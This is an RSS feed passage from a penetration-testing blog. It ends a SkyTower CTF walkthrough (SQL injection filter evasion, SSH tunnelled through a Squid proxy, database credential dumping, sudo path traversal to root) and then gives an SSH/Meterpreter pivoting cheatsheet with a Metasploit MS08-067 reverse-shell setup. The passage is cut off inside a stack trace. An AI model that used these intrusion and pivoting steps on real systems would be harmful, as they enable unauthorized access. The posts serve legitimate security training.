               &lt;pc&gt;&lt;p&gt;HTTP&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;Apache httpd 2.2.22 ((Debian))&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;

        &lt;td&gt;
            &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 3128&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
        &lt;/td&gt;
        &lt;td&gt;
            &lt;pc&gt;&lt;p&gt;http-proxy&lt;/p&gt;&lt;/pc&gt;
        &lt;/td&gt;
        &lt;td&gt;
            &lt;pc&gt;&lt;p&gt;Squid http proxy 3.1.20&lt;/p&gt;&lt;/pc&gt;
        &lt;/td&gt;
     &amp;lt;/tr&amp;gt;

      &lt;/tbody&gt;

&lt;/table&gt;
&lt;/div&gt;

&lt;h2 id=&quot;web-application-analysis&quot;&gt;Web Application Analysis&lt;/h2&gt;

&lt;p&gt;The basic test below indicated the web application could be vulnerable to SQL injection.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/skytower/sqli-test.png&quot; alt=&quot;SQLi Test&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/penetration-testing/web-app/sql-injection/&quot;&gt;SQL Injection&lt;/a&gt; looked possible + DB identified as MySQL:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/skytower/sqli-error.png&quot; alt=&quot;MySQL error&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Enumeration indicated the web application was filtering the SQLi attempts and removing some characters, such as &lt;code&gt;OR&lt;/code&gt;. This was overcome (after researching for SQLi filtering evasion) using the following:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/skytower/burp-sqli-evasion.png&quot; alt=&quot;Burp SQLi Evasion&quot; /&gt;&lt;/p&gt;

&lt;p&gt;With no direct access to SSH the above credentials could not be leveraged to gain a Shell.&lt;/p&gt;

&lt;h2 id=&quot;http-proxy-ssh-connection&quot;&gt;HTTP Proxy SSH Connection&lt;/h2&gt;

&lt;p&gt;The following was used to gain access to the SSH server by proxying the connection through the open &lt;strong&gt;SQUID&lt;/strong&gt; server on the target machine.&lt;/p&gt;

&lt;p&gt;Setup tunnel with proxytunnel:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;root:~]# proxytunnel &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; 10.0.1.114:3128 &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt; 127.0.0.1:22 &lt;span class=&quot;nt&quot;&gt;-a&lt;/span&gt; 4444&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;SSH through the HTTP tunnel:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;root:~]# ssh john@127.0.0.1 &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; 4444  &lt;span class=&quot;s2&quot;&gt;&quot;/bin/sh&quot;&lt;/span&gt;
john@127.0.0.1&lt;span class=&quot;s1&quot;&gt;&apos;s password:

id
uid=1000(john) gid=1000(john) groups=1000(john)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;&lt;code&gt;/bin/sh&lt;/code&gt; needed to be postfixed to the end of the SSH command, as the server appeared to kick connections upon connection.&lt;/p&gt;

&lt;h2 id=&quot;local-enumeration&quot;&gt;Local Enumeration&lt;/h2&gt;

&lt;p&gt;Enumeration as the user John discovered the MySQL root credentials:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cat &lt;/span&gt;login.php
&amp;lt;?php

&lt;span class=&quot;nv&quot;&gt;$db&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; new mysqli&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;localhost&apos;&lt;/span&gt;, &lt;span class=&quot;s1&quot;&gt;&apos;root&apos;&lt;/span&gt;, &lt;span class=&quot;s1&quot;&gt;&apos;root&apos;&lt;/span&gt;, &lt;span class=&quot;s1&quot;&gt;&apos;SkyTech&apos;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;mysql-credentials&quot;&gt;MySQL Credentials&lt;/h2&gt;

&lt;p&gt;The following process was used to disclosed the users credentials:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;mysql &lt;span class=&quot;nt&quot;&gt;-u&lt;/span&gt; root &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt;
Enter password: root
show databases&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;


&lt;span class=&quot;se&quot;&gt;\q&lt;/span&gt;
Database
information_schema
SkyTech
mysql
performance_schema
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;mysql &lt;span class=&quot;nt&quot;&gt;-u&lt;/span&gt; root &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; SkyTech
Enter password: root
show tables&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;se&quot;&gt;\q&lt;/span&gt;
Tables_in_SkyTech
login



mysql &lt;span class=&quot;nt&quot;&gt;-u&lt;/span&gt; root &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; SkyTech
Enter password: rootroot
ERROR 1045 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;28000&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;: Access denied &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;user &lt;span class=&quot;s1&quot;&gt;&apos;root&apos;&lt;/span&gt;@&lt;span class=&quot;s1&quot;&gt;&apos;localhost&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;using password: YES&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
mysql &lt;span class=&quot;nt&quot;&gt;-u&lt;/span&gt; root &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; SkyTech
Enter password: root
&lt;span class=&quot;k&quot;&gt;select&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;*&lt;/span&gt; from login&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;se&quot;&gt;\q&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;id    &lt;/span&gt;email    password
1    john@skytech.com    hereisjohn
2    sara@skytech.com    ihatethisjob
3    william@skytech.com    senseable&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;privilege-escalation---password-reuse&quot;&gt;Privilege Escalation - Password Reuse&lt;/h2&gt;

&lt;p&gt;Password reuse for the user &lt;code&gt;sara&lt;/code&gt; was possible using the previously discovered credentials.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;root:~]# ssh sara@127.0.0.1 &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; 4444 &lt;span class=&quot;nt&quot;&gt;-t&lt;/span&gt;  &lt;span class=&quot;s2&quot;&gt;&quot;/bin/sh&quot;&lt;/span&gt;
sara@127.0.0.1&lt;span class=&quot;s1&quot;&gt;&apos;s password:
$ sudo -l
Matching Defaults entries for sara on this host:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User sara may run the following commands on this host:
    (root) NOPASSWD: /bin/cat /accounts/*, (root) /bin/ls /accounts/*&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;The user &lt;strong&gt;sara&lt;/strong&gt; had sudo access to the binary &lt;code&gt;/bin/cat&lt;/code&gt;, path traversal was used to cat the contents of &lt;code&gt;/root/flag.txt&lt;/code&gt; which contained the root password.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sudo&lt;/span&gt; /bin/cat /accounts/../root/flag.txt
Congratz, have a cold one to celebrate!
root password is theskytower
&lt;span class=&quot;err&quot;&gt;$&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;getting-root&quot;&gt;Getting root:&lt;/h3&gt;

&lt;p&gt;With the previously discovered credentials it was possible to &lt;code&gt;su -&lt;/code&gt; to root:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;su -
Password:
root@SkyTower:~# &lt;span class=&quot;nb&quot;&gt;id
&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;uid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;gid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;groups&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
root@SkyTower:~# &lt;span class=&quot;nb&quot;&gt;cat &lt;/span&gt;flag.txt
Congratz, have a cold one to celebrate!
root password is theskytower
root@SkyTower:~#&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;I enjoyed the SQL injection filtering evasion, overall a short CTF that can easily be done in an evening.&lt;/p&gt;

&lt;p&gt;Thanks for the VM :)&lt;/p&gt;
</description>
        </item>
        
      
    
      
        
        <item>
          <title>SSH &amp; Meterpreter Pivoting Techniques</title>
          <link>https://hacksofdhruv.me/blog/ssh-meterpreter-pivoting-techniques/</link>
          <pubDate>Wed, 20 Mar 2024 00:52:10 +0000</pubDate>
          <dc:creator>Dhruv Ambaliya</dc:creator>
          
          <category>Pen-Testing</category>
          
          <category>Metasploit</category>
          
          <category>Meterpreter</category>
          
          
          <category>techniques</category>
          
          <guid isPermaLink="true">https://hacksofdhruv.me/blog/ssh-meterpreter-pivoting-techniques/</guid>
          <description>&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#what-is-pivoting-&quot; id=&quot;markdown-toc-what-is-pivoting-&quot;&gt;What is Pivoting ?&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#ssh-pivoting-cheatsheet&quot; id=&quot;markdown-toc-ssh-pivoting-cheatsheet&quot;&gt;SSH Pivoting Cheatsheet&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#ssh-port-forwarding&quot; id=&quot;markdown-toc-ssh-port-forwarding&quot;&gt;SSH Port Forwarding&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#ssh-port-forwarding-with-proxychains&quot; id=&quot;markdown-toc-ssh-port-forwarding-with-proxychains&quot;&gt;SSH Port Forwarding with Proxychains&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#using-proxychain-port-forwards&quot; id=&quot;markdown-toc-using-proxychain-port-forwards&quot;&gt;Using Proxychain port forwards&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#configure-metasploit-to-use-a-ssh-pivot&quot; id=&quot;markdown-toc-configure-metasploit-to-use-a-ssh-pivot&quot;&gt;Configure Metasploit to use a SSH Pivot&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#dont-use-127001-with-metasploit&quot; id=&quot;markdown-toc-dont-use-127001-with-metasploit&quot;&gt;Don’t use 127.0.0.1 with Metasploit&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#meterpreter-pivoting-cheatsheet&quot; id=&quot;markdown-toc-meterpreter-pivoting-cheatsheet&quot;&gt;Meterpreter Pivoting Cheatsheet&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#pivoting-example-diagrams&quot; id=&quot;markdown-toc-pivoting-example-diagrams&quot;&gt;Pivoting Example Diagrams&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#starting-point&quot; id=&quot;markdown-toc-starting-point&quot;&gt;Starting Point&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#routing-traffic-to-the-same-subnet&quot; id=&quot;markdown-toc-routing-traffic-to-the-same-subnet&quot;&gt;Routing Traffic to the Same Subnet&lt;/a&gt;        &lt;ul&gt;
          &lt;li&gt;&lt;a href=&quot;#ssh-pivoting-using-proxychains&quot; id=&quot;markdown-toc-ssh-pivoting-using-proxychains&quot;&gt;SSH Pivoting using Proxychains&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#ssh-port-forwarding-command&quot; id=&quot;markdown-toc-ssh-port-forwarding-command&quot;&gt;SSH Port Forwarding Command&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#ssh-and-meterpreter-pivoting&quot; id=&quot;markdown-toc-ssh-and-meterpreter-pivoting&quot;&gt;SSH and Meterpreter Pivoting&lt;/a&gt;        &lt;ul&gt;
          &lt;li&gt;&lt;a href=&quot;#example-commands&quot; id=&quot;markdown-toc-example-commands&quot;&gt;Example commands&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;what-is-pivoting-&quot;&gt;What is Pivoting ?&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Pivoting&lt;/strong&gt; is a technique used to route traffic through a compromised host on a penetration test.&lt;/p&gt;

&lt;p&gt;When conducting an external penetration test you may need to route traffic through a compromised machine in order to compromise internal targets.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Pivoting&lt;/strong&gt;, allows you to leverage &lt;a href=&quot;/blog/penetration-testing-tools-cheat-sheet/&quot;&gt;pen test tools&lt;/a&gt; on your attacking machine while routing traffic through other hosts on the subnet, and potentially allowing access to other subnets.&lt;/p&gt;

&lt;h2 id=&quot;ssh-pivoting-cheatsheet&quot;&gt;SSH Pivoting Cheatsheet&lt;/h2&gt;

&lt;h3 id=&quot;ssh-port-forwarding&quot;&gt;SSH Port Forwarding&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;ssh -L 9999:10.0.2.2:445 user@192.168.2.250&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Port 9999 locally is forwarded to port 445 on 10.0.2.2 through host 192.168.2.250&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
      &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;ssh-port-forwarding-with-proxychains&quot;&gt;SSH Port Forwarding with Proxychains&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;ssh -D 127.0.0.1:9050 root@192.168.2.250&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Dynamically allows all port forwards to the subnets availble on the target.&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
      &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;div class=&quot;note warning&quot;&gt;
  &lt;h5&gt;Dynamic Proxychain Warning&lt;/h5&gt;
  &lt;p&gt;Dynamic Proxychain SSH port forwarding does not work with nmap and metasploits meterpreter shells won&apos;t spawn.&lt;/p&gt;
&lt;/div&gt;

&lt;p&gt;If you attempt to spawn a shell via Meterpreter, you’ll get an error similar to the following:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;meterpreter &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; execute &lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt; cmd.exe &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-H&lt;/span&gt;
|S-chain|-&amp;lt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-127&lt;/span&gt;.0.0.1:9050-&amp;lt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&amp;lt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-127&lt;/span&gt;.0.0.1:41713-&amp;lt;&lt;span class=&quot;nt&quot;&gt;--timeout&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;using-proxychain-port-forwards&quot;&gt;Using Proxychain port forwards&lt;/h3&gt;

&lt;p&gt;When using a Proxychain port forward, all commands need to be prefixed with the proxychain command, this instructs the application traffic to route through the proxy.&lt;/p&gt;

&lt;section class=&quot;shellbox&quot;&gt;
    &lt;div class=&quot;unit golden-large code&quot;&gt;
      &lt;p class=&quot;title&quot;&gt;Connecting to RDP via Proxychains Dynamic Port Forwarding&lt;/p&gt;
      &lt;div class=&quot;shell&quot;&gt;
        &lt;p class=&quot;line&quot;&gt;
          &lt;span class=&quot;prompt&quot;&gt;root&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;path&quot;&gt;~&lt;/span&gt;&lt;span&gt;#&lt;/span&gt;
          &lt;span class=&quot;command&quot;&gt;proxychains rdesktop TARGET-IP&lt;/span&gt;
        &lt;/p&gt;
        &amp;lt;/p&amp;gt;
      &lt;/div&gt;
    &lt;/div&gt;
&lt;/section&gt;

&lt;h2 id=&quot;configure-metasploit-to-use-a-ssh-pivot&quot;&gt;Configure Metasploit to use a SSH Pivot&lt;/h2&gt;

&lt;p&gt;The following is an example of how to configure Metersploit to use a SSH portward. In this example port 9999 is forwarded to the target and the attacking machine has an IP address of 192.168.2.100:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;Setup the port forward &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;instructions above&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;, &lt;span class=&quot;k&quot;&gt;then &lt;/span&gt;configure msfconsole as follows &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;using MS08_067 &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;this example&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;

 msf exploit&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;ms08_067_netapi&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; show options

 Module options &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;exploit/windows/smb/ms08_067_netapi&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;:

    Name     Current Setting  Required  Description
    &lt;span class=&quot;nt&quot;&gt;----&lt;/span&gt;     &lt;span class=&quot;nt&quot;&gt;---------------&lt;/span&gt;  &lt;span class=&quot;nt&quot;&gt;--------&lt;/span&gt;  &lt;span class=&quot;nt&quot;&gt;-----------&lt;/span&gt;
   RHOST    0.0.0.0          &lt;span class=&quot;nb&quot;&gt;yes       &lt;/span&gt;The target address
    RPORT    9999             &lt;span class=&quot;nb&quot;&gt;yes       &lt;/span&gt;Set the SMB service port
    SMBPIPE  BROWSER          &lt;span class=&quot;nb&quot;&gt;yes       &lt;/span&gt;The pipe name to use &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;BROWSER, SRVSVC&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;


 Payload options &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;windows/meterpreter/reverse_tcp&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;:

    Name      Current Setting  Required  Description
    &lt;span class=&quot;nt&quot;&gt;----&lt;/span&gt;      &lt;span class=&quot;nt&quot;&gt;---------------&lt;/span&gt;  &lt;span class=&quot;nt&quot;&gt;--------&lt;/span&gt;  &lt;span class=&quot;nt&quot;&gt;-----------&lt;/span&gt;
   EXITFUNC  thread           &lt;span class=&quot;nb&quot;&gt;yes       &lt;/span&gt;Exit technique &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;accepted: seh, thread, process, none&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
    LHOST     192.168.2.100   &lt;span class=&quot;nb&quot;&gt;yes       &lt;/span&gt;The listen address
    LPORT     443              &lt;span class=&quot;nb&quot;&gt;yes       &lt;/span&gt;The listen port


 Exploit target:

    Id  Name
    &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;  &lt;span class=&quot;nt&quot;&gt;----&lt;/span&gt;
   0   Automatic Targeting&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;dont-use-127001-with-metasploit&quot;&gt;Don’t use 127.0.0.1 with Metasploit&lt;/h3&gt;

&lt;div class=&quot;note tip&quot;&gt;
  &lt;h5&gt;Update: You can now use 127.0.0.2&lt;/h5&gt;
  &lt;p&gt;Other 127.0.0.0 addresses can also be used (&lt;code&gt;127.0.0.3&lt;/code&gt;,&lt;code&gt;127.0.0.4&lt;/code&gt; etc), but not &lt;code&gt;127.0.0.1&lt;/code&gt;&lt;/p&gt;
&lt;/div&gt;

&lt;p&gt;The example above uses 0.0.0.0 &lt;strong&gt;Not 127.0.0.1&lt;/strong&gt;, never use 127.0.0.1 with Metasploit or you’ll get the following error after you attempt to do anything post exploit:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt; exploit&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;ms08_067_netapi&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; exploit

 &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Started reverse handler on 192.168.14.183:443
 &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Automatically detecting the target...
 &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Fingerprint: Windows XP - Service Pack 3 - lang:English
 &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Selected Target: Windows XP SP3 English &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;AlwaysOn NX&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
 &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Attempting to trigger the vulnerability...
 &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Sending stage &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;769536 bytes&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; to 192.168.15.252

msf meterpreter &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; getuid
 &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;-] Session manipulation failed: Validation failed: Address is reserved &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;/opt/metasploit/apps/pro/ui/vendor/bundle/ruby/1.9.1/gems/activerecord-3.2.17/lib/active_record/validations.rb:56:in &lt;/span&gt;&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;save!&lt;span class=&quot;s1&quot;&gt;&apos;&quot;, &quot;/opt/metasploit/apps/pro/ui/vendor/bundle/ruby/1.9.1/gems/activerecord-3.2.17/lib/active_record/attribute_methods/dirty.rb:33:in `save!&apos;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;, &quot;&lt;/span&gt;/opt/metasploit/apps/pro/ui/vendor/bundle/ruby/1.9.1/gems/activerecord-3.2.17/lib/active_record/transactions.rb:264:in &lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;block in save!&apos;&quot;&lt;/span&gt;, &lt;span class=&quot;s2&quot;&gt;&quot;/opt/metasploit/apps/pro/ui/vendor/bundle/ruby/1.9.1/gems/activerecord-3.2.17/lib/active_record/transactions.rb:313:in &lt;/span&gt;&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;block &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;with_transaction_returning_status&lt;span class=&quot;s1&quot;&gt;&apos;&quot;, &quot;/opt/metasploit/apps/pro/ui/vendor/bundle/ruby/1.9.1/gems/activerecord-3.2.17/lib/active_record/connection_adapters/abstract/database_statements.rb:192:in `transaction&apos;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;, &quot;&lt;/span&gt;/opt/metasploit/apps/pro/ui/vendor/bundle/ruby/1.9.1/gems/activerecord-3.2.17/lib/active_record/transactions.rb:208:in &lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;transaction&apos;&quot;&lt;/span&gt;, &lt;span class=&quot;s2&quot;&gt;&quot;/opt/metasploit/apps/pro/ui/vendor/bundle/ruby/1.9.1/gems/activerecord-3.2.17/lib/active_record/transactions.rb:311:in &lt;/span&gt;&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;with_transaction_returning_status&lt;span class=&quot;s1&quot;&gt;&apos;&quot;, &quot;/opt/metasploit/apps/pro/ui/vendor/bundle/ruby/1.9.1/gems/activerecord-3.2.17/lib/active_record/transactions.rb:264:in `save!&apos;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;, &quot;&lt;/span&gt;/opt/metasploit/apps/pro/msf3/lib/msf/core/db.rb:377:in &lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;block in report_host&apos;&quot;&lt;/span&gt;, &lt;span class=&quot;s2&quot;&gt;&quot;/opt/metasploit/apps/pro/ui/vendor/bundle/ruby/1.9.1/gems/activerecord-3.2.17/lib/active_record/connection_adapters/abstract/connection_pool.rb:129:in &lt;/span&gt;&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;with_connection&lt;span class=&quot;s1&quot;&gt;&apos;&quot;, &quot;/opt/metasploit/apps/pro/msf3/lib/msf/core/db.rb:323:in `report_host&apos;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;, &quot;&lt;/span&gt;/opt/metasploit/apps/pro/msf3/lib/msf/core/db.rb:2031:in &lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;block in report_event&apos;&quot;&lt;/span&gt;, &lt;span 